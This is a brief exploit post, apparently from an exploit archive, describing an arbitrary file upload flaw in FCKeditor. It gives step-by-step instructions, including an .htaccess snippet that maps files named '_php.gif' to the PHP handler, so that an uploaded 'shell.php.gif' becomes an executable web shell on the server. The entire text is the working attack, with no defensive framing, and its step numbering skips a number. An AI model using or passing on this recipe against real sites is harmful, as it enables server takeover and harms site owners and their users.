Skip to main content

FCKeditor all version File Upload

In The Name Of GOD
[+] Title:FCKeditor all versian Arbitrary File Upload Vulnerability
[+] Date: 2011
[+] script:
[+] Author :
[+] Website : WwW.PenTesters.IR
1.create a htaccess file:
<FilesMatch “_php.gif”>
SetHandler application/x-httpd-php

2.Now upload this htaccess with FCKeditor.

3.Now upload shell.php.gif with FCKeditor.
4.After upload shell.php.gif, the name “shell.php.gif” change to “shell_php.gif” automatically.
6.Now shell is available from server.